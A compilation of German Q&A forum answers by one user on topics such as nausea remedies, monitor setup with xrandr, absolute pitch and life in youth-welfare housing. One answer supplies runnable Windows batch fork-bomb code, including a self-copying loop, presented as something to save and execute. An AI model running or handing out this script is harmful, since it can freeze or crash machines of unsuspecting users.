Also das potenteste Hausmittel wurde ja schon mehrfach genannt: Ingwer.
Ingwertee finde ich persönlich am schmackhaftesten, der muss aber recht stark sein damit der wirklich etwas bringt.

Bei deiner Phobie dürfte das allerdings ausreichen, da die Übelkeit ja eher psychosomatischer Natur ist.
(Klar, auch Ematophobikern kann mal aus körperlichen Gründen unwohl sein, aber dann gelten die gleichen Tipps wie immer ;) )

Als generelle Alternative zu Vomex kann ich dir noch Zintona Kapseln empfehlen. Die sind ebenfalls auf Ingwerbasis und wirken ziemlich gut, allerdings ohne die nervigen Nebeneffekte einer langfristigen Einnahme von Vomex. Der einzige Nachteil daran ist, dass die Kapseln recht groß sind und man immer 3 (glaube ich) nehmen muss.

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1. Wenn du Haarspray nimmst: Unterschätze niemals die Menge die du brauchst. Das ist verdammt viel.
2. Haare schön einkleistern, Kopf nach unten, sodass sie zum Boden hängen, im Wechsel föhnen und sprayen.

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Vor dem Eindringen von Feststoffen..

Das kommt sehr auf den Typ der Maske (Viertel-, Halb-, oder Vollmaske) und deren Einsatzgebiet ein.

Es gibt ABC-Masken (Atom, Bio, Chemie), Masken mit Atemschutzfiltersystem, welche beispielsweise bei der Feuerwehr zum Einsatz kommen..

Dazu kann man keine wirklich pauschale Aussage treffen.

Das einzige was sie gemeinsam haben: Sie sollen das Atmen in einer Umgebung, in welcher die Luft durch Stoffe irgend einer Art beeinträchtigt ist ermöglichen.

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Es kommt natürlich immer drauf an was du damit machen willst, und wieviel dieses Ding kostet.

Ich habe beispielsweise hier auch noch einen iMac von 2009, mit Dual Core 2,4 GHz, 4 GB RAM und 'ner 256 GB SSD, darauf läuft 10.6 und er läuft wirklich noch richtig flott.
Benutze ihn für Alltägliches hauptsächlich, also Internet, eMails, Office-Anwendungen, aber auch nicht immens umfangreiche InDesign- bzw. Photoshopprojekte packt er locker.

Also ich kann dir nur sagen: Da sollte es für "normalen Hausgebraucht" absolut keine Probleme geben.

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Man hat grundsätzlich keinen Anspruch darauf dass das Jugendamt einem eine Wohnung stellt. In einzelnen Fällen kann dies geschehen, aber im Prinzip sind das alles verschiedene Ausprägungen einer Jugendhilfemaßnahme.
Wie diese im Einzelfall dann aussieht wird mit den Fallbetreuern vom Jugendamt erarbeitet und regelmäßig in sogenannten Hilfeplangesprächen für die nächste Zeit festgelegt.

Wenn du also Probleme zu Hause hast, führt dich der erste Weg zum Jugendamt, wo du deine Probleme darlegen kannst und dann mit dir zusammen eine Lösung erarbeitet wird.

Kommt es zu Hause zu einer akuten Bedrohungs bzw. einer unhaltbaren Situation sind neben dem Jugendamt auch noch die Jugenschutzstellen ein geeignetes Ziel. Dort kann man vorübergehend untergebracht werden.

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Kleine Abstraktion:

Wenn du im Wald stehst siehst du trotz dem Bäume.
Aber von innerhalb des Waldes niemals den ganzen Wald.
(Zumindest nicht von einem Standpunkt aus)

Sich selber sieht man natürlich nicht. Und auch die Milchstraße als Gesamtheit sehen wir - von der Erde aus - natürlich nicht, dazu haben wir die falsche Perspektive. Es ist natürlich aber möglich auch von außerhalb darauf zu schauen.

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Nicht hauptsächlich weil man gut Rechnen können muss, sondern weil man verstehen muss wie die Systeme entstehen.

Wenn du beispielsweise eine Verschlüsselung umgehen willst welche auf einem auf elliptischen Kurven basierenden Zufallsgenerator basiert musst du ja wissen wie das an sich überhaupt erstmal funktioniert.

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Anspruchsvolles für Frauenstimmen, bitte:

Nightwish - Ghost Love Score
https://www.youtube.com/watch?v=JYjIlHWBAVo
Ab Minute 09:00 wird's richtig interessant (=

Evanescence - Hello
https://www.youtube.com/watch?v=HPam_3D9eXU
Auch nicht so einfach..

"Habanera", eine Arie aus Carmen, falls es dich mal überkommt und du die Königsklasse entern willst.
https://www.youtube.com/watch?v=KJ_HHRJf0xg

Another Way To Die - Jack White + Alicia Keys
https://www.youtube.com/watch?v=suXkdsftsVU
Mal ein bisschen rumrocken schadet der Stimmbildung nicht.
Und Emotionen kann man da auch reichlich reinpacken.

Tina Turner - Goldeneye
https://www.youtube.com/watch?v=8bVJJyMlEhI
Noch ein Bond-Klassiker der herausfordert.

Ich empfehle auch immer gerne Abba-Klassiker.
Vielleicht nicht unbedingt jedermanns Geschmack,
aber dafür allemal anspruchsvoll.
Money, Money, Money beispielsweise.

Arch Enemy - Stolen Life
https://www.youtube.com/watch?v=gB4uhCqOH2k
Mal eine etwas härtere Gangart ;)

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Also die Keupstraße würde ich als alles Andere als ein Ghetto bezeichnen. Ich würde auch nicht generell nicht von Ghettos sprechen in diesem Kontext und dir einmal nahelegen dich mit der Bedeutung dieses Wortes etwas auseinanderzusetzen ;)
https://de.wikipedia.org/wiki/Ghetto

Abgesehen davon:
In der Nähe der Keupstraße sind beispielsweise
Das Schauspiel Köln,
die Brainpool GmbH,
eine Akademia für Musik (die deutsche Pop),
und diverse andere Kultur- und Bildungsstätten angesiedelt.
Es fehlen also einige grundlegende Merkmale eine Umgangssprachlichen "Ghettos".
Abgesehen davon befindet sich die Straße recht zentral im schönen Stadtteil Mühlheim, was auch wiederum dagegen spricht.

Was ich mich noch frage ist: Wieso schließt du aus "orientalischer Atmosphäre" auf ein "Ghetto"?
Dann müsste - aus deiner Sicht - ja ganz Istanbul beispielsweise ein Ghetto sein?

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Eine Forkbomb..?
Also ein Prozess welcher sich rekursiv kopiert.

Dazu unter Windows beispielsweise eine Textdatei erstellen und nachher die Dateiendung von ".txt" in ".bat" ändern und ausführen.
Folgender Inhalt:

%0|%0

Ist ein sehr sparsamer Code ;)
Weiß nicht ob der in Win 10 noch geht, wüsste aber nicht wieso nicht.

Das hier habe ich noch in meinen Skriptarchiven gefunden:
(Ebenfalls als .bat speichern und ausführen)

:e
copy /Y %0 %random%.bat
start %0
%0|%0
goto :e
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Um was damit zu tun..?
Ihn mit dem Thermostat zwecks Audio-Visuell gesteuerter Temperaturreglung zu verbinden?
Funktioniert im Prinzip, du musst allerdings mit einer Frequenzbiegezange an den Widerständen des Ausgangstransformators ein wenig rumbasteln, einfach aufdrehen bis ein Signal kommt.
Frequenzbiegezangen gibts hier: http://etel-tuning.eu/werkzeug/108-frequenzbiegezange.html

(Mal ernsthaft)
Ein bisschen mehr Informationen wären hilfreich ;)
Welches Gerät willst du mit
welchem Gerät mittels
welchem Stecker zu
welchem Zweck verbinden?

Video-Out über Cinch und HDMI sind ja dann doch zwei sehr unterschiedliche paar Schuhe. (=

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Absolutes Gehör erlernen?

Hallo, ich höre seit einiger Zeit das c'' und e'' und fis' anders als andere Töne auf meinem E-Piano und kann Sie in der Regel direkt erkennen. Das funktioniert nur in der ein und zweigestrichenen Oktave, aber das ist immerhin etwas. Hat jemand Tipps wie ich das auf alle zwölf Töne im mittleren Tonbereich übertragen kann? Ich hatte das vorher nicht, also muss das ja irgendwie gehen. Zuerst ging das nur beim c'' und jetzt sind es mehr Töne. Angefangen habe ich mit Grundtonerkennung bei einfachen Liedern z.B. call me maybe etc. Aber halt auch mal versuchen den Ton ne halbe Stunde später noch zu summen. Im Prinzip versuche ich mir das Tonhöhengedächtnis anzueignen, weil ich gelesen habe dass man das mit einer Kombination aus Relativen Gehör und Einprägen von am besten mehreren Referenztönen schafft. Die meisten Antworten auf gutefrage sind bis jetzt, dass das nicht geht, aber das glaube ich nicht. Bei wiki steht es gibt zwei Arten von Ton-Farb Synesthesie und bei der zweiten sieht man halt nicht Töne beim Anschlagen, sondern sie hören sich nur so ähnlich an. Das habe ich in etwa auch nur bis jetzt mit wenigen Tönen und ich assoziiere diese Töne relativ häufig mit einfach irgend einem Motiv aus einem x-beliebigen Stück und ich kann nicht aussuchen mit welchem. Was wäre jetzt der nächste Schritt, einfach weiter probieren mit Liedanfängen, Motiven aus Refrains .etc oder das Relative gehör trainieren? Ein Paar Tipps wären sehr hilfreich lol.

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Ein absolutes Gehör lässt sich nicht, oder nur sehr schlecht erlernen. Entweder erlangt man diese Fähigkeit im frühen Kindesalter oder eben nicht.
Es gibt auch Forschungen über gewisse Aspekte einer genetischen Veranlagung dazu, da weiß ich aber grad nicht wie der aktuelle Stand da ist.

Man kann allerdings das relative Gehör, also die Fähigkeit Tonhöhen in Beziehung zueinander zu unterscheiden so weit trainieren, dass es in der Praxis einem absoluten Gehör nahekommt. Es braucht dann lediglich einen Referenzton um die Tonhöhe absolut bestimmen.
Heißt: Wenn du (bewusst) ein C4 auf dem Klavier spielst, und danach jemand ein G6 spielt bis du in der Lage das mit Sicherheit zu benennen.
    

Das relative Gehör trainierst du am besten einfach halb-Blind an einer Klaviatur.

Spiele dir einen Referenzton, spiele blind einen weiteren und versuche ihn zu erkennen.

Desweiteren hilft es auch schon sich Tonleitern sehr gut (akustisch und optisch) einzuprägen.


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Ich finde es vollkommen normal dass man irgend wann in seinem Leben das Verlangen verspürt gewisse Dinge auszuprobieren. Was das ist unterscheidet sich bei jedem, aber das Einführen von Gegenständen (oder Anderem) in den Anus ist ja eine allgemein sehr verbreitete Praxis, also ist da nicht im Geringsten irgend etwas seltsames dran.

Nicht ganz verstehen tue ich die Aussage dass du dadurch deine Freunde verloren hast..?

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Versuch es mal mit xrandr.


Gib erstmal einfach nur den Befehl "xrandr" in der Shell ein und schau dir die Ausgabe und poste sie hier.

Dort sind die Anschlüsse aufgelistet (HDMI, VGA, DP oder was du alles so hast am Laptop). Der interne Anschluss müsste LVDS heißen.

Du kannst dann in mit xrandr deine Bildschirme konfigurieren, per Shell.

Die nötigen Befehle sind:
--output (definiert den Ausgang)
--auto (xrandr sucht automatisch die passende Auflösung)
--primary (definiert dass es die primäre Anzeige ist)
--left-of [Name des Outputs] ordnet die Anzeige links von der anderen Anzeige an, ja nachdem einfach "left" durch "right" ersetzen

Der ganze Befehl müsste dann so aussehen:
xrandr --output [Dein Ausgang intern] --auto --primary
Dann sollte der Bildschirm etwas tun.

Für den anderen Bildschirm:
xrandr --output [anderer Ausgang] --auto --left-of [Dein Ausgang intern]
Dann sollte der externe Bildschirm als seperate Anzeige links von deinem internen Monitor werkeln.

  

"--left-of" bzw "--right-of" lässt sich übrigens auch durch "--above" und "--under" ersetzen um den Bildschirm über oder unter einer anderen Anzeige anzuordnen.

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Das ist leider technisch nicht möglich, da die dafür benötigten Informationen schlicht und ergreifend in der Bilddatei nicht vorhanden sind.

Bei einem unscharfen Bild trifft (wenn eine Linse vor dem Sensor ist) die Bildinformation sozusagen schon "unscharf" ein und wird so auch verarbeitet.

Eine Technologie bei der dies möglich wäre ist die plenoptische Kamera, bzw Lichtfeldkamera, welche sozusagen 4-dimensionale Bilder aufnimmt, auf denen man im Nachhinein soetwas wie die Brennweite einstellen und somit einen gewünschten Bereich des Bildes scharfstellen kann.

In der Bildbearbeitung gibt es eine Funktion die sich "Schärfen" nennt, die hat allerdings nichts mit falsch fokussierten Aufnahmen zu tun.

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Also die einzige Möglichkeit welche mir geläufig ist ist, sich irgendwie geartete Kommunikation jener Menschen anzuschauen welche sich aus deiner Perspektive "besser" ausdrücken.

Das Medium spielt dabei nur eine recht untergeordnete Rolle.
Lesen ist allerdings so ziemlich das beste Mittel um diese Fähigkeiten auszubauen. Aber auch Dialoge mit Personen welche deine rhetorischen Fähigkeiten fordern sind hilfreich.

Die Prämisse nicht unbedingt viel lesen zu wollen steht übrigens in einem recht starken Konflikt zu dem Wunsch nach einem "gehobenerem" Duktus.

Und nein, nicht jeder der viel liest kann sich schön ausdrücken. Es erhöht aber die Chancen dies zu erlernen ungemein.
Des weiteren hängt es auch stark davon ab was man liest.
James Joyce prägt sicherlich einen anderen Wortschatz als Mario Barth..

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Lass bloß die arme Grafikkarte aus dem Ofen raus!
Wer empfiehlt denn sowas?
Sicherlich die gleichen Leute die sagen man könne sein Smartphone in der Mikrowelle sehr schnell laden..

Also solange es wirklich "nur" die Oberfläche der Platine ist sollte da nichts passiert sein, sprich solange du keine Schaltkreise, Chips, Kabel oder sonstige Aufbauten in Mitleidenschaft gezogen hast.

Inwieweit sich das reparieren lässt kann man schwer sagen

Hilfreich wäre ein Foto der betroffenen Stelle, dann könnte dir besser geholfen werden! (=

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Spiegel Online und Süddeutsche kann man in der Tat sogar lesen.
Die Zeit auch und die hat nebenbei noch das tollste Kreuzworträtsel.
(Eckstein - Um die Ecke gedacht)
Es kommt aber hauptsächlich darauf an sich nicht auf eine Quelle zu fokussieren sondern breit zu fächern, sich eben immer mehrere Perspektiven anzuschauen.

Dann kommt man in der Summe schon auf vernünftige Berichterstattung.

Es ist auch meines Erachtens nach gar nicht so falsch auch die Boulevardpresse im Auge zu behalten, auch dies ist eine Perspektive welche sich zu kennen lohnt.
Auch wenn es nur dazu dienen sollte den Bericht über den sich später in den Satiresendungen lustig gemacht wird vorher schonmal gelesen zu haben ;)

  

Ansonsten streue ich sehr gerne Quellen. Also verschiedene Seiten für verschiedene Themen. Ich lese viele Blogs freier Journalisten. Das bringt meistens mehr Freude und Informationen als gebündelte Medien.

Mal ein paar beispiele aus meiner Leseliste:

"Zenith", eine wunderbare Seite für die gesamte Thematik um den nahen Osten.
(http://www.zenithonline.de)

"Netzpolitik.org" für Infos rund um die Themen Netz, Datenschutz etc.
(https://netzpolitik.org)
"Tarnkappe" das Ganze ein bisschen persönlicher.. Ist ein Blog.
(https://tarnkappe.info)
"Fefes Blog" ... Darf natürlich in der Rubrik nicht fehlen.
(https://blog.fefe.de/)

Ein paar Polit-Blogs:
http://www.sprengsatz.de/
http://feynsinn.org/
http://www.randzone-online.de/
http://www.spiegelfechter.com

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 Hallo erstmal.. :)

Also.. Ich erzähl einfach mal ein bisschen.
In meiner Jugend habe ich in unterschiedlichen Einrichtungen der Jugendhilfe gewohnt, die meiste Zeit davon in WG Form.
Diese unterschiedlichen Einrichtungen waren (man glaubt es kaum) sehr unterschiedlich ;)


Am längsten wohnte ich in einer größeren Einrichtung, welche aus mehreren kleineren Gruppen (WGs) zusammengesetzt war.
Es war eine sozialtherapeutische Einrichtung der Jugendhilfe, also waren dort Sozialpädagogen, Therapeuten, Psychologen, Sozialarbeiter, ich glaube auch 2 Lehrer und diverse andere Berufsgruppen vorhanden.
  

Die Äußeren Gegebenheiten

Gewohnt habe ich über die Zeit in zwei unterschiedlichen Räumlichkeiten, einmal in einem Mietshaus, zusammen mit 4 anderen Jugendlichen und 2 Betreuern. Diese beiden Betreuer waren ein Paar, ein Pädagoge und Lehrer und eine Therapeutin. Die beiden hatten im Haus ihre eigene Einliegerwohnung.

Der Rest des Hauses gehörte uns Jugendlichen, wir hatten jeder unser eigenes Zimmer, 2 Badezimmer, eine große Küche und ein kleines Wohnzimmer. Für dieses Haus und den dazugehörigen Haushalt und alles was das so beinhaltet waren wir alleine verantwortlich.
Also einkaufen, kochen, putzen, etc.
Für die Führung des Haushaltes stand uns eine monatliche Summe zu (pro Person) von der wir das alles organisieren mussten.

  
Alltag

Der Alltag gestaltete sich recht normal.
Morgens gemeinsames WG-Frühstück in der Küche, da wir glücklicherweise alle ungefähr zur selben Zeit raus mussten.
Dabei waren auch in der Regel die beiden Betreuer anwesend, es herrschte allgemein dort eine eher familiäre Atmosphäre.
Nach der Schule dann in der Regel freie Freizeitgestaltung, evtl. Gespräche mit Therapeuten/Betreuern etc.
Abends gab es anfänglich immer ein Tagesgespräch, wo der gesamte Ablauf und eventuelle Probleme noch einmal durchgesprochen  wurden.
Später reduzierte sich dies dann auf ein wöchentliches Gespräch und nach ungefähr einem Jahr fanden diese Strukturgespräche nur noch unregelmäßig bzw. bei Bedarf statt.

Einzige Besonderheit in der Anfangszeit:
Es wurde zusammen mit mir ein Tages-/Wochenplan erarbeitet, auf dem alle zu erledigenden Tätigkeiten/anstehenden Termine standen, sodass ich eine Struktur hatte an welcher ich mich orientieren konnte.
         

Regeln

Ja, die gibt es. Ein paar sogar.

Zuerst einmal: Eine Einrichtung der Jugendhilfe unterliegt (gesetzlich) einigen Regeln.
Soetwas wie Rauchen unter 18 beispielsweise darf dort nicht geduldet werden, und alle Dinge in diese Richtung.
Auch körperliche Beziehungen zwischen den Jugendlichen (unter 18) sind teilweise kritisch zu bewerten.

In der Praxis erweist sich das allerdings als recht schwer zu kontrollieren und wurde (in gewissen Rahmen) auch bei uns geduldet.

Ansonsten gab es in jeder WG eigene Regeln und Richtlinien, immer angepasst an die jeweiligen Bewohner und auch für jeden individuell gab es Regeln (allerdings auch Rechte).

Dies ist allgemein was ich vermitteln wollen würden müsste ich eine Quintessenz ziehen:
Es ist vieles reguliert und vorgeschrieben, die meisten Sachen haben allerdings durchaus ihre Daseinsberechtigung und einen Sinn. Fügt man sich, schafft man es im Rahmen zu bleiben, sich den Gegebenheiten anzupassen und vor allem an jeder Stelle in entsprechender Form das Gespräch zu suchen wird man keine Schwierigkeiten bekommen und es kann letztendlich auf alle Besonderheiten und Bedürfnisse zum beidseitigen Interesse eingegangen werden.

     

Die Betreuung

Da es sich ja um betreutes Wohnen handelt spielt dies eine essentielle Rolle. Ich möchte mal ein bisschen erzählen wie die so aussieht.

Im Grunde lässt sich das so allgemein gar nicht sagen, da es natürlich bei jedem sehr unterschiedlich ausfallen kann.

Im Prinzip bestand die Betreuung daraus, dass es zu jeglichem eine Hilfestellung gab, sich also zu Anfang die Betreuer angeschaut haben wie man so mit allem Wichtigen und Unwichtigen zurechtkommt, und dann je nach Lage Hilfe angeboten haben.

Diese reicht von der Begleitung bei Amtsgängen über das gemeinsame Kochen, Einkaufen, Hausaufgaben erledigen, bis hin zur Begleitung in die Schule, wenn man sich denn partout weigert dort hinzugehen ;)

Man sieht also auch hier: Ein unterstützen und fordern.
Ist alles wie es sein soll wird die Betreuung zurückgefahren,
läuft etwas schief intensiviert.

Allerdings bestand die "Betreuung" auch einfach in gemeinsamen Freizeitaktivitäten.
Ich habe beispielsweise sehr gerne mit unserem Lehrer Holz gehackt und Bäume gefällt, wir hatten nämlich einen Kamin der immer befeuert werden wollte. 

   
Probleme

Klar gab es die. Sowohl mit Betreuern als auch mit anderen Jugendlichen, was irgend wie ja auch in der Natur der Sache liegt. Mehrere Jugendliche mit Problemen bzw. aus schwierigen Verhältnissen an einem Ort = Probleme.

Es gab allerdings nie "schwerwiegende" Auseinandersetzungen, keine Übergriffe o.Ä.

Letztendlich konnten eigentliche alle Konflikte (ob mit den Betreuern oder andern Jugendlichen) im Sinne aller geklärt werden.

    

Selbstständiger werden

Das ist ja irgend wie so der Sinn des Ganzen, also wird hierauf auch viel Wert gelegt.

Nachdem ich längere Zeit (1 1/2 Jahre) in oben beschriebener WG wohnte, stand für mich ein Umzug an. Diesmal in eine WG mit nur einer Mitbewohnerin.

Hier änderte sich auch die Betreuungsform, statt mit den Betreuern zusammenzuleben kam nur noch einmal die Woche jemand vorbei und "sah nach dem Rechten". Oft haben wir uns aber auch in einem Café getroffen oder Abends auf ein Bier o.Ä. in einer Lokalität.

Man sieht also: Es wurde mit der Zeit immer lockerer.

Und diese WG war eigentlich eine stinknormale Studenten/Jugend/junge Erwachsenen-WG.

Wir haben die Wochen meistens lernenderweise bzw. studierenderweise verbracht (ich hatte mittlerweile Abitur gemacht), uns mit Freunden getroffen, an den Wochenenden wilde Partys veranstaltet, uns manchmal Mittwochs Nachts ganz schlimm betrunken weil jemand Liebeskummer hatte und es am Tag darauf in der FH bzw. Schule bitterböse bereut.. Was man halt so macht in dem Alter ;)

  

Zusammenfassend

Alles in allem hatte ich eine wunderbare Zeit dort.

Natürlich war nicht alles toll, logisch. Begründet sich ja schon aus der Tatsache dass es mir in der Zeit ursprünglich nicht so wunderbar blendend ging, was ja auch der Grund war warum ich in eine therapeutische Jugendhilfemaßnahme gesteckt wurde. (Übrigens anfänglich unfreiwillig, das Sorgerecht lag damals beim Jugendamt, später als ich hätte widersprechen können bin ich freiwillig geblieben)

Aber ich habe in der Zeit viele tolle Menschen kennengelernt, einen Freund fürs Leben gefunden, hatte viel Spaß und alles was so zu einer guten Jugend gehört.

Ich habe vor allem sehr viel an mir arbeiten und so gefestigt und klar werden können, wie es mir sonst wohl nicht, oder wenn, dann erst sehr viel später in meinem Leben gelungen wäre.

  

Ich entschuldige mich dafür falls der Text etwas unstrukturiert ist, ich habe einfach mal so drauf losgeschrieben und wusste nicht so wirklich was ich dir alles mitteilen möchte :D

Falls noch Fragen offen sind, frag einfach!

  

Lieben Gruß,
charlemagne

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